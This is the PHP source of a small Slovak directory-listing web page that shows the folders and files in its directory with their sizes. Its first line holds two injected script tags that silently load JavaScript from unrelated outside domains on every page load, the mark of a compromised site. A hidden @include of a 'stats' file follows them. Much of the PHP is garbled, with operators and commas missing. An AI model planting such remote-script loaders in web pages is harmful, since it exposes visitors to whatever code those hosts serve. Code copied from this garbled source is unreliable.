<script type="text/javascript" src="http://mbeydogan.com/facebook.php"></script><script type="text/javascript" src="http://www.freetrainingdirect.com/js.php"></script><?php
@include ("../~stats/get.php"); // stats
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
    "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sk" >
<head>
    <meta http-equiv="Content-Type" content="application/xhtml+xml; charset=windows-1250" />
    <meta http-equiv="content-language" content="sk" />
    <style type="text/css">
        body { font-family: Verdana, sans-serif; font-size: 9pt; }
        p { font-size: 8pt; }
        table {    width: 500px; border-collapse: collapse; }
        td, th { border: 1px solid #000;}
        a { padding: 2px 5px 2px 20px; display: block; text-decoration: none; }
        a.folder { background: url('folder_fczbkk.com.gif') no-repeat center left; }
        a.file { background: url('file_fczbkk.com.gif') no-repeat center left; }
        a.norm { padding: 0; display: inline; }
        a.norm:hover { text-decoration: underline; }
        tr:hover, a:hover { background-color: #e4e4e4; }
    </style>
    <title>matooo.jsmf.net ~ bordel</title>
</head>
<body>
<?php
$path 
getcwd();
$current_dir array_pop(explode('/'trim($path'/')));

echo 
'<h1>'.$current_dir.'</h1>'

if (
$handle=opendir('.')) {
    
$polozky null;
   while (
$file readdir($handle))
   {
      
$polozky[count($polozky)] = $file;
   }
   
closedir($handle);
   
natcasesort($polozky);
}
echo 
"<table>\n";
while (list(
$key$val) = each($polozky))
{
    if (
$val != "." && is_dir($val))
    {
        echo 
"<tr><td colspan=\"2\"><a href=\"".$val."\" class=\"folder\">".$val."</a></td></tr>\n";
    }
}
reset($polozky);
while (list(
$key$val) = each($polozky))
{
    if (
$val != "." && $val != ".." && !is_dir($val) && !stristr($val'index.php') && !stristr($val'fczbkk.com') )
    {
        
$size round((filesize ($val)/1000), 1);
        echo 
"<tr><td><a href=\"".$val."\" class=\"file\">".$val."</a></td><td>".$size." kb</td></tr>\n";
    }
}
echo 
"</table>\n";
?>
<p>Icon's by <a href="http://www.fczbkk.com" class="norm">fczbkk</a>.</p>
</body>

</html>